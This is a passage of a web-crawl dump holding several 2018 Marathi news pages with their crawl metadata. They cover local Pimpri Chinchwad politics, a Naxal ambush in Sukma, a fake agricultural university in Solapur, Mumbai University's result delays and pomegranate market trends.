(Pclive7.com):- पिंपरी चिंचवड महापालिकेत वर्षापूर्वी सत्तेत आलेल्या भाजपाने कोणतेही ठोस काम केले नाही. केवळ जनतेच्या पैशाची लूट झाली आहे. आयुक्त हे भाजपचे प्रवक्ते आहेत. पालिकेतील प्र...\tRead more\nपिंपरी महापालिकेतील विरोधी पक्षनेता बदलणार…(Video)\nआयुक्त श्रावण हर्डीकरांकडून भाजपाची वकिली\nपिंपरी (Pclive7.com):- शहरातील रस्ते कामांच्या ४२५ रुपये खर्चाच्या निविदा प्रक्रियेत स्पर्धा होऊ न देता पदाधिकार्‍यांना पोसण्याचे काम आयुक्त करीत आहेत. भ्रष्टाचाराच्या आरोपांना पदाधिकारी उत...\tRead more\nशिवसेनेचे माजी शहरप्रमुख नेताजी चव्हाण यांचे निधन\nपिंपरी (Pclive7.com):- शिवसेनेचे माजी शहरप्रमुख आणि माजी विरोधी पक्ष नेते नेताजी गणपतराव चव्हाण (वय-५७) यांचे दिर्घ आजाराने मध्यरात्री एकच्या सुमारास मोहननगर येथे निधन झाले. त्यांच्या पश्चात...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00396.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.pudhari.news/news/National/crpf-army-martyred-naxal-attck-sukama-chattisgad/", "date_download": "2018-09-25T17:07:34Z", "digest": "sha1:YV3Z3IU4FVX4MC2OTUAZPHYKTXS3MM5P", "length": 5027, "nlines": 35, "source_domain": "www.pudhari.news", "title": " नक्षली हल्ल्यात 9 जवान शहीद | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › National › नक्षली हल्ल्यात 9 जवान शहीद\nनक्षली हल्ल्यात 9 जवान शहीद\nछत्तीसगडमधील सुकमा जिल्ह्यात नक्षलवाद्यांनी केलेल्या हल्ल्यात केंद्रीय राखीव पोलिस दलाचे (सीआरपीएफ) नऊ जवान शहीद झाले आहेत. आयईडी स्फोटकांच्या सहाय्याने नक्षलवाद्यांनी आधी भू-सुरुंग स्फोट घडवून आणला व नंतर बेछूट गोळीबार केला. या हल्ल्यात 10 जवान जखमी झाले असून, त्यापैकी काहीजणांची प्रकृती चिंताजनक आहे.\nसुकमा जिल्ह्यातील किस्तराम या ठिकाणी हा हल्‍ला झाला. सीआरपीएफच्या 212 बटालियनच्या जवानांकडून या भागात कोम्बिंग ऑपरेशन सुरू होते. यावेळी येथील जंगलात दबा धरून बसलेल्या सुमारे 100 नक्षलवाद्यांनी जवानांना लक्ष्य केले. सुरुवातीला जवानांचे भू-सुरुंगविरोधी वाहन उडवून देण्यात आले. त्यानंतर बेछूट गोळीबार करण्यात आला. त्यात नऊ जवानांचा जागीच मृत्यू झाला. तर दहा जवान जखमी झाले. या हल्ल्यानंतर सुरक्षा दलाचे जवान व नक्षलवाद्यांमध्ये जोरदार धुमश्‍चक्री सुरू असल्याचे सूत्रांकडून समजते.\nआठवडाभरापूर्वी सुरक्षा दलाने केलेल्या कारवाईत 10 नक्षलवादी मारले गेले होते. गेल्यावर्षी 11 मार्च रोजी सुकमा जिल्ह्यात नक्षलवाद्यांनी केलेल्या हल्ल्यात 12 जवान शहीद झाले होते. त्यानंतर 24 एप्रिल रोजी नक्षल्यांनी पुन्हा जवानांना टार्गेट केले होते. यामध्ये 25 जवान शहीद झाले होते.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00396.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-complaint-four-year-agri-department-maharashtra-7270", "date_download": "2018-09-25T17:56:06Z", "digest": "sha1:LY5IPHDVE2UQWU3RYCVWUEJC3VEMJBYI", "length": 18238, "nlines": 150, "source_domain": "www.agrowon.com", "title": "agriculture news in Marathi, complaint before four year to agri department, Maharashtra | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nबोगस कृषी विद्यापीठ : कृषी विभागाकडे चार वर्षांपूर्वीच तक्रार\nबोगस कृषी विद्यापीठ : कृषी विभागाकडे चार वर्षांपूर्वीच तक्रार\nमंगळवार, 10 एप्रिल 2018\nसोलापूर ः सोलापूर जिल्ह्यात बेकायदेशीरपणे बोगस कृषी विद्यापीठ स्थापन करून त्याअंतर्गत मागासवर्ग खुले कृषी विद्यालय या नावाखाली राज्यभरात जवळपास ४२ कृषी विद्यालये सुरू झाली. त्या माध्यमातून विद्यार्थी आणि पालकांची आर्थिक लूट होत असल्याचे लक्षात आल्यानंतर चार वर्षांपूर्वीच या बोगस विद्यापीठाचा संस्थापक आणि त्याच्या सहकाऱ्याविरुद्ध कृषी विभागाकडे तक्रार दाखल झाली होती. त्यानंतर सोलापूर आणि जळगाव जिल्ह्यातील पाचोरा अशा दोन ठिकाणी पोलिसांत फिर्यादी दाखल झाल्या. पण कारवाईच्या अनुषंगाने दोन्हीही पातळ्यांवर पुढे काहीच हालचाली झाल्या नाहीत.\nसोलापूर ः सोलापूर जिल्ह्यात बेकायदेशीरपणे बोगस कृषी विद्यापीठ स्थापन करून त्याअंतर्गत मागासवर्ग खुले कृषी विद्यालय या नावाखाली राज्यभरात जवळपास ४२ कृषी विद्यालये सुरू झाली. त्या माध्यमातून विद्यार्थी आणि पालकांची आर्थिक लूट होत असल्याचे लक्षात आल्यानंतर चार वर्षांपूर्वीच या बोगस विद्यापीठाचा संस्थापक आणि त्याच्या सहकाऱ्याविरुद्ध कृषी विभागाकडे तक्रार दाखल झाली होती. त्यानंतर सोलापूर आणि जळगाव जिल्ह्यातील पाचोरा अशा दोन ठिकाणी पोलिसांत फिर्यादी दाखल झाल्या. पण कारवाईच्या अनुषंगाने दोन्हीही पातळ्यांवर पुढे काहीच हालचाली झाल्या नाहीत.\nअण्णा इसुरेनामक व्यक्ती ही या विद्यापीठाचे संस्थापक असल्याचे सांगितले जाते. राज्यातील काही जिल्ह्यांत तिथल्या लोकांना हाताशी धरून त्याने पद्धतशीरपणे संपर्क ठेवून या विद्यालयाच्या शाखा वाढवल्या. सोलापूर जिल्ह्यातील अनेक ‘दादा’, ‘मामा’, ‘आबा’ यांसारख्या राजकीय नेत्यांच्या हस्ते त्याने या कृषी विद्यालयाची दिमाखात उद्घाटने केली. त्यामुळे साहिजकच विद्यार्थी आणि पालकांचा त्यावर अधिक विश्‍वास बसला. पण या कृषी विद्यालयाच्या मान्यतेबाबत कोणीच चौकशी किंवा खोलात गेले नाही.\nया कृषी विद्यालयाच्या लेटरहेडवर भारत सरकारच्या अधिकृत अशोकस्तंभ या राजमुद्रेच्या चिन्हाचाही वापर केलेला होता. त्यामुळे संशयाचा विषयच राहिला नाही; पण बोगस कृषी विद्यापीठ ज्या भागात स्थापले गेले. त्या अक्कलकोट तालुक्‍यातील कृषी विभागात कार्यरत असणारे पर्यवेक्षक नरेंद्र कल्याणशेट्टी यांना ज्या वेळी तडवळ, कोन्हाळी या भागातील या कृषी विद्यालयासंबंधी संशय आला. तेव्हा चार वर्षांपूर्वी त्यांनी स्वतःच या संबंधी कृषी विभागाकडे तक्रार केली. पण आजतागायत त्यांना उत्तर मिळालेले नाही.\nगेल्या चार वर्षांत अनेक विद्यार्थी आणि पालकांची यामध्ये मोठी आर्थिक फसवणूक झाल्याचे उघड झाले. सोलापुरात संभाजी मस्के आणि पाचोऱ्यात संजय पाटील यांनी इसुरे याच्यावर २०१५ मध्ये गुन्हे दाखल केले. पण पुढे काहीच कारवाई झाली नाही. शिवाय विद्यार्थी आणि पालकांपैकीही अद्याप कोणीच पुढे आलेले नाही. त्यामुळे हे प्रकरण आणि त्याचा तपास जैसे थेच आहे.\nविद्यार्थ्यांना कृषी विद्यापीठाची सहल\nया कृषी विद्यापाठाशी संबंधित कृषी विद्यालयातील विद्यार्थ्यांना अभ्यासाचा भाग म्हणून राज्यातील अनेक भागांत कृषी सहली घडवून आणण्यात आल्या. विशेष म्हणजे राज्यातील एका कृषी विद्यापीठाचीही सहल या विद्यार्थ्यांना घडवून आणण्यात आली. पण तरीही ‘त्या’ कृषी विद्यापीठाला या कृषी विद्यालयाचा संशय येऊ नये, याबाबतही आश्‍चर्य व्यक्त होत आहे.\nसोलापूर कृषी विद्यापीठ कृषी विभाग जळगाव भारत अक्कलकोट\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजिल्हा परिषदेतील कृषी अधिकारी यांना...मुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क...\nप्रथिनांचा उत्तम स्राेत ः गुणवंत चारापीकराहुरी येथील महात्मा फुले कृषी विद्यापीठाने...\nमुंबईसह शेजारील शहरांत सेंद्रिय...मुंबईसह शेजारील शहरांमध्ये सेंद्रिय उत्पादनांना...\nऊसतोड मजूरांच्या मागण्यांबाबत लवादाची...मुंबई : राज्यातील ऊसतोड मजूर व कामगारांच्या...\nमॉन्सूनची माघार शनिवारपासूनपुणे : नैऋत्य मोसमी वाऱ्यांच्या (माॅन्सून)...\nसेंद्रिय शेतीसाठी शासनाच्या विविध योजनासेंद्रिय शेती आणि पीक उत्पादनवाढीसाठी राज्य आणि...\n‘जलयुक्त’ गैरव्यवहाराची फाइल पुन्हा...पुणे : जलयुक्त शिवार योजनेत बीड जिल्ह्यात...\nमहसूल उत्पन्न सूत्राचे ऊसदरामध्ये...पुणे : महसुली उत्पन्न विभागणीनुसार राज्यातील...\nतुरळक ठिकाणी पावसाचा अंदाजपुणे : ‘दाये’ चक्रीवादळ निवळून गेल्यानंतर राज्यात...\nमोदींनी सर्वात मोठी आरोग्य योजना '...रांची- पंतप्रधान नरेंद्र मोदी यांनी झारखंडची...\nकृषिपंपासाठी बड्या कंपन्यांच्या निविदाबारामती - राज्यातील दोन लाख ९० हजार शेतकऱ्यांच्या...\nमराठवाड्यातील ८६४ प्रकल्पांत ३३ टक्‍केच...औरंगाबाद : मराठवाड्यातील पाणीसाठ्यांमधील उपयुक्‍त...\nऊस ठिबक योजनेसाठी लेखापरीक्षकाची नेमणूक पुणे : राज्यात ऊस लागवडीसाठी ठिबक अनुदान...\nइथेनॉलमधील फरक ओळखण्यासाठी यंत्रणानवी दिल्ली ः देशात तीन प्रकारच्या मोलॅसिसपासून...\n‘ग्लायफोसेट’वर बंदी नाहीपुणे : मानवी आरोग्याला धोकादायक असल्याचा कोणताही...\nविदर्भात पावसाची दमदार हजेरीपुणे : बंगालच्या उपसागरातील ‘दाये’ वादळाने बाष्प...\nबचत गटांतून मिळाली विकासाला उभारीअस्तगाव (ता. राहाता, जि. नगर) हा तसा सधन परिसर....\nकांदाचाळीसाठी सव्वाशे कोटींचा निधीनगर ः एकात्मिक फलोत्पादन विकास...\nशेती, आरोग्य अन्‌ शिक्षणाचा जागरगावाच्या शाश्वत विकासासाठी शेती, आरोग्य, शिक्षण...\nमहाराष्ट्राची सिंचनक्षमता आता 40 लाख...मुंबई - शेतीयोग्य जमिनीतील केवळ 18 टक्‍के...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00397.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.loksatta.com/mumbai-news/mumbai-university-unprecedented-delay-in-exam-results-declaration-1664351/", "date_download": "2018-09-25T17:44:42Z", "digest": "sha1:KFJNNXZIS66QYU5NUDDB2DF7O7GYZUS3", "length": 18857, "nlines": 206, "source_domain": "www.loksatta.com", "title": "Mumbai university unprecedented delay in exam results declaration | शहरबात : परीक्षार्थी विद्यापीठ | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nशहरबात : परीक्षार्थी विद्यापीठ\nशहरबात : परीक्षार्थी विद्यापीठ\nगेल्या वर्षभरापासून मुंबई विद्यापीठ शिक्षणतीर्थाचे रूपांतर परीक्षातीर्थात झाले आहे.\n१६० वर्षांची उज्ज्वल परंपरा लाभलेल्या मुंबई विद्यपीठाची गणना जगातल्या महाकाय शिक्षणतीर्थात होत असली, तरी सध्या ओढवून घेतलेल्या अनेक संकटांनी ही ज्ञानपोई आटायला लागली आहे. पुर्वी अखंड भारतात पाकिस्तानशी संलग्न असल्यामुळे तेथील विद्यार्थ्यांच्या परीक्षाही इकडून पार पडत. त्यांचे निकाल सांगितलेल्या वेळी तंतोतंत त्याच तारखेला लागत स्वतंत्र भारतानंतर शिक्षणाचा आणि विद्यार्थी संख्येचा पसारा बळावला, राज्यातील विद्यार्थ्यांसाठी अंतराच्या मुद्दय़ांवरून विद्यापीठांची विभागणीही झाली.अनेक विद्यापीठांचे आंतरराष्ट्रीय पटलावर नाव आले नाही तरी स्थानिक गरजेनुसार ज्ञानदाती झाली. परंतु, मुंबई विद्यापीठाला मूलभूत कामाचा आवाकाही गाठण्यात यश लाभले नाही.\nगेल्या वर्षभरापासून मुंबई विद्यापीठ शिक्षणतीर्थाचे रूपांतर परीक्षातीर्थात झाले आहे. राज्यातली, देशातलीच नाही तर जगातील सारी विद्यापीठे गैरप्रकार आणि गोंधळाचे आगर असतील, पण कामाच्या संथगतीत मुंबई विद्यापीठाचा वेग अवर्णनीयच म्हणावा लागेल. निकालांच्या पातळीवर विद्यार्थ्यांनी परीक्षा दिली की विद्यापीठाने, हा प्रश्न पडावा अशी स्थिती सध्या आहे. ऑनलाइन मूल्यांकन अर्थात पेपर तपासणीचे खूळ अपुरी यंत्रणा आणि अतिअक्षम कर्मचाऱ्यांच्या बळावर बळजबरी राबवल्याचा परिणाम विद्यार्थ्यांच्या परीक्षा निकालातील अभूतपूर्व दिरंगाईमध्ये उलटला. विद्यार्थ्यांचे वाया गेलेले वर्ष, बदललेले कुलगुरू या सगळ्या रगाडय़ात परीक्षा, शिक्षण आणि निकालांचे कोलमडलेले नियोजन अजून सावरायला तयार नाही. बसलेल्या घडीचे एखादे टोक हातून निसटावे आणि पुन्हा सगळी घडी विस्कटून जावी, अशी परिस्थिती सध्या विद्यपीठाची झाली आहे आणि परिस्थिती सावरायच्या ऐवजी अधिक अवघड होत चालली आहे.\nउत्तरपत्रिका तपासणीत चूक प्राध्यापकांची, प्रशासनाची, कुलगुरूंची की मेरीटट्रॅक कंपनीची यावर आरोप- प्रत्यारोपांच्या फैरी झडल्या. विद्यार्थी कैवारी संघटनांनी आपली पोळी भाजून घेतली. यात विद्यार्थ्यांचे नुकसान, त्यांना आणि पालकांना होणारा मानसिक त्रास याचे कुणालाही काही घेणे-देणे आहे का, असा प्रश्न पडावा असे चित्र सध्या उभे आहे. केवळ परीक्षांच्या निकालांमुळे मुलांची मानसिक स्थिती बिघडताना बघून हतबल झालेल्या पालकांचा विद्यापीठ यंत्रणेवरचा विश्वासच उडून जायला लागला आहे.\nपरीक्षांच्या वेळापत्रकापासून रोज कणाकणाने वाढणारा गोंधळ वरकरणी सावरण्याजोगा दिसत असला तरी प्रत्यक्षात अधिकच चिघळत गेला. गेल्या वर्षीचे निकाल जाहीर करण्यातच या शैक्षणिक वर्षांचे पहिले सत्र गेले. या सत्रामध्ये विद्यार्थ्यांना ना ‘लेक्चर बंक’ करण्याचा आनंद मिळाला, ना कँटिनमध्ये टिवल्या-बावल्या करण्याचा पारंपरिक मजेचा भाग अनुभवता आला. डोक्यावर अभ्यास न होण्याच्या ओझ्यासोबत विद्यापीठ परीक्षांचे आणि निकालांचे जे काही भीषण प्रयोग राबविते, याची दहशतच त्यांच्या मनामध्ये दाटून राहिली. गेल्या सत्राच्या परीक्षा लांबल्या. आता हीच साखळी या सत्रातही कायम आहे. त्यामुळे या सत्राच्याही परीक्षा पुढे ढकलण्याची वेळ विद्यपीठावर आली आहे. गेल्या महिन्यापर्यंत विद्यापीठाच्या १२६ परीक्षांचे निकाल लागले नव्हते. त्या आकडय़ामध्ये निश्चितच मोठा बदल झाला असला, तरी पहिल्या परीक्षेचा निकाल न लागताच दुसरी परीक्षा देण्याची वेळ आलेल्या विद्यार्थ्यांना आपल्या विद्यापीठाविषयी प्रेमाऐवजी अनादरच अधिक दाटून आलेला आहे.\nनिकालच हाती नसल्यामुळे विद्यार्थ्यांना अनेक संधी गमवाव्या लागल्या आहेत. निकालाचा, वेळापत्रकाचा गोंधळ सावरेलही, पण गमावलेला विश्वास कमावण्यासाठी आता विद्यापीठाला खूप मेहनत करावी लागणार आहे. सध्या निकाल गोंधळ सावरण्यासाठी फक्त परीक्षेकडे लक्ष केंद्रित केलेल्या प्रशासनाला इतरही अनेक बाबींकडे काटेकोरपणे पाहावे लागेल.\nयेत्या आठवडय़ाभरात विद्यपीठाच्या नव्या कुलगुरूंची नियुक्ती होण्याची शक्यता आहे. पण येणारे कुलगुरू कुणीही असले, तरी त्यांच्या हातात जादूची छडी नसेल. अन् असली तरी सध्याच्या गोंधळाला ती अपुरीच ठरेल. कुलगुरूंसमोर सर्वात मोठे आव्हान असेल, ते शैक्षणिक, संशोधन क्षेत्रातील कामाबरोबरच प्रशासनावर वचक ठेवण्याचे. ते यशस्वी साधणारी व्यक्ती कुलगुरू होणे समर्पक ठरेल. मुंबई विद्यापीठातील राजकीय, सामाजिक समीकरणे, गटतट यांची जाण असलेले कुलगुरू हवेत, असे मत शिक्षण क्षेत्रातून व्यक्त होत आहे. हे जरी खरे असले तरी आल्या आल्या त्यांना विद्यपीठ सध्या अडचणींच्या ज्या परीक्षा देत आहे, त्या परीक्षांमध्ये उत्तीर्ण होणे महत्त्वाचे आहे. परीक्षार्थी विद्यापीठाचे ज्ञानतीर्थ स्वरूप पुन्हा झाले, तरच विद्यार्थ्यांसह पालकांची आज बनलेली निद्रानाशी प्रकृती सुधारेल, हे खरे.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : लोकेश राहुलही माघारी परतला, भारताला...\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00397.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-agromoney-pomogranate-rate-weakly-analysis-7050", "date_download": "2018-09-25T17:58:05Z", "digest": "sha1:IC4457KJDQBAIOXQEUGVLFFLM55ZBSJX", "length": 22906, "nlines": 158, "source_domain": "www.agrowon.com", "title": "| Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nसोमवार, 2 एप्रिल 2018\nडा ळिंबासाठी २०१७ हे वर्ष सर्वाधिक तोट्याचे होते. वाढता उत्पादन खर्च, मागणीच्या तुलनेत जास्तीचा पुरवठा, गुणवत्तापूर्ण मालाच्या पुरवठ्यातील घट या बाबींमुळे डाळिंबाचा बाजार फारसा किफायती नव्हता. केंद्रीय कृषी मंत्रालयाच्या फलोत्पादन पाहणीनुसार देशात २०१५-१६ मध्ये २३ लाख टन , २०१६-१७ मध्ये २६.१ लाख टन उत्पादन मिळाले, तर २०१७-१८ मध्ये २७.९ लाख टन उत्पादन अनुमानित आहे. तीन वर्षांत उत्पादन २१ टक्क्यांनी वाढले. वाढत्या उत्पादनाचे प्रतिबिंब सातत्याने दबावात राहणाऱ्या बाजारभावात दिसले आहे. या पार्श्वभूमीवर, २०१८ या वर्षाची सुरवात चांगली झाली असली तरी सध्याची तेजी दीर्घकालीन नाही.\nडा ळिंबासाठी २०१७ हे वर्ष सर्वाधिक तोट्याचे होते. वाढता उत्पादन खर्च, मागणीच्या तुलनेत जास्तीचा पुरवठा, गुणवत्तापूर्ण मालाच्या पुरवठ्यातील घट या बाबींमुळे डाळिंबाचा बाजार फारसा किफायती नव्हता. केंद्रीय कृषी मंत्रालयाच्या फलोत्पादन पाहणीनुसार देशात २०१५-१६ मध्ये २३ लाख टन , २०१६-१७ मध्ये २६.१ लाख टन उत्पादन मिळाले, तर २०१७-१८ मध्ये २७.९ लाख टन उत्पादन अनुमानित आहे. तीन वर्षांत उत्पादन २१ टक्क्यांनी वाढले. वाढत्या उत्पादनाचे प्रतिबिंब सातत्याने दबावात राहणाऱ्या बाजारभावात दिसले आहे. या पार्श्वभूमीवर, २०१८ या वर्षाची सुरवात चांगली झाली असली तरी सध्याची तेजी दीर्घकालीन नाही. मेच्या मध्यापर्यंत बाजारभाव किफायती राहतील, तेथून पुढे ऑगस्टपर्यंत बाजार नरमाईत राहण्याची चिन्हे आहेत.\nसटाणा येथील कृषी उद्योजक योगेश रौंदळ यांची डाळिंबाच्या बाजाराबाबतच निरीक्षणे उद्बोधक आहेत. ते सांगतात -\n१. मागील वर्षातील ऑक्टोबर-नोव्हेंबरमधील पाऊसमान डाळिंबासाठी प्रतिकूल होते. त्यामुळे जानेवारीपासून ते आजअखेरपर्यंत देशांतर्गत बाजारात डाळिंबाचा तुटवडा आहे. परिणामी चांगल्या गुणवत्तेच्या मालास ७० ते १०० रु. प्रतिकिलो या दरम्यान बाजारभाव मिळाला.\n२. गेल्या वर्षी नाशिक-नगर जिल्ह्यामध्ये जानेवारीनंतर डाळिंबात मोठी उत्पादनवाढ झाली होती. या वर्षी तशी परिस्थिती नाही.\n३. मागील वर्षाचा अपवाद वगळता जानेवारी ते एप्रिल हा कालावधी बहुतांश वेळा चांगला बाजारभाव मिळालेला आहे.\n४. चालू कॅलेंडर वर्षांत १५ मेपर्यंत डाळिंबाला किफायती दर मिळेल. त्यानंतर आंब्याची आवक सुरू झाल्यानंतर डाळिंबाचा बाजार खाली येईल.\n५. डिसेंबर - जानेवारीतील अनुकूल हवामानामुळे बागांना उत्तम सेटिंग मिळाली. मे मध्ये या बागा काढणीला येतील तेव्हा पुरवठ्यात मोठी वाढ अपेक्षित आहे. परिणामी, मे ते ऑगस्ट हा कालावधीत मंदीचा असू शकतो.\n६. फेब्रुवारी - मार्चमध्ये पानगळ झालेल्या बागांना चांगला फुटवा नाही. त्यामुळे सप्टेंबरपासून पुढे मालाचा पुरवठा कमी होऊन बाजारभाव पुन्हा उंचावतील.\n७. सध्याच्या उच्चांकी तापमानवाढीमुळे डाळिंबाची कळी जागेवरच जिरतेय. एप्रिलमध्येही अशीच तापमानवाढ राहिल्यास फळधारणा अपेक्षेप्रमाणे राहणार नाही. अशा परिस्थितीत सप्टेंबर ते डिसेंबर २०१८ या कालावधीत डाळिंब तेजीत असेल.\nमहाराष्ट्राबाहेर डाळिंबाखालील क्षेत्र वाढत असल्यामुळे बाजार मंदीत राहतोय, अशी निरीक्षणे सध्या मांडली जात आहेत. संपूर्ण देशात २ लाख ८ हजार ७३० हेक्टर क्षेत्रावर डाळिंब लागवड आहे. त्यातील ६५ टक्के क्षेत्र एकट्या महाराष्ट्रात आहे. महाराष्ट्रातील उत्पादन वाढ-घटनुसार देशातील डाळिंबाचा बाजारभाव नियंत्रित होतो. मात्र, गेल्या दशकभरात डाळिंबास मिळालेल्या चमकदार बाजारभावामुळे अन्य राज्यांतही त्याखालील क्षेत्र वाढले आहे.\nअलीकडच्या काळात डाळिंबाची वार्षिक उत्पादनवाढ ७ टक्के दराने होत आहे. मात्र देशांतर्गत बाजारात उत्पादनवाढीच्या वेगानुसार मागणी वाढत नसल्याचे दिसते. प. बंगाल, दिल्ली असे पारंपरिक बाजार वगळता अन्यत्र फारसा उठाव दिसत नाही. खासकरून, पुण्या-मुंबईसारख्या महानगरात ज्या वेगाने डाळिंबाचा खप व्हायला हवा, तसा तो होत नाहीये. डाळिंबाच्या पोषणमूल्यासंदर्भात महाराष्ट्रात जनजागृती होण्याची गरज दिसते. डाळिंबाचा किरकोळीतील दर हा देखील खपवाढीत अडसर आहे. किरकोळ बाजारात ज्या ज्या वेळेस १०० रु. प्रतिकिलोच्या वर डाळिंब जाते, त्या वेळी त्याचा खप रोडावतो.\nदुसरीकडे, ज्या वेळेस किरकोळ बाजारात ६० ते ७० रु. भाव असतात, तेव्हा मोठा उठाव मिळतो. जर चांगला माल किरकोळीत ६० रु. ला विकला गेला तर त्याचा फार्म कटिंग रेट हा ३५ ते ४० रु. पर्यंत घटू शकतो. अशा परिस्थितीत डाळिंबाची शेती फारशी किफायती राहत नाही. चांगल्या गुणवत्तेच्या डाळिंबाचा फार्म कटिंग रेट हा किमान ५० रु. च्या असायला हवा. त्यानुसार किरकोळीतील दर ७० ते ९० रु. दरम्यान जाऊ शकतो. शेतातून डाळिंबाचे कटिंग झाल्यानंतर - माल उचलणाऱ्या खरेदीदाराचा मार्जिन, वाहतूक खर्च, किरकोळ विक्रेत्यांचा मार्जिन, घट या प्रक्रियेत फार्म कटिंगच्या तुलनेत किरकोळ विक्रीतील दर ८० ते १०० टक्क्यांपर्यंत महाग होतो.\nदेशात २००६ ते २०१६ या दशकात डाळिंबाच्या बाजाराने नवनवे उच्चांक गाठले. त्यामुळे नवी पिढी या नगदी पिकाकडे वळली आहे. या पार्श्वभूमीवर, यापुढील काळात डाळिंबाचे बाजारभाव फारसे चमकदार राहणार नाहीत. ज्या वेळेस प्रतिकूल हवामान असेल, त्या त्या वेळी नैसर्गिकरीत्या उत्पादन नियंत्रित झाल्यामुळे पुरवठा कमी होऊन तेजी येईल. अशा प्रतिकुलतेत ज्यांना गुणवत्तापूर्ण डाळिंबाचे उत्पादन घेता येईल, त्यांना पैसा मिळेल. सरसकटपणे डाळिंबात पैसा घडण्याचे दिवस आता राहिलेले नाहीत, हे लक्षात घेऊन नियोजन करावे.\n(लेखक शेतीमाल बाजार अभ्यासक आहेत.)\nडाळ डाळिंब मंत्रालय २०१८ 2018 नगर 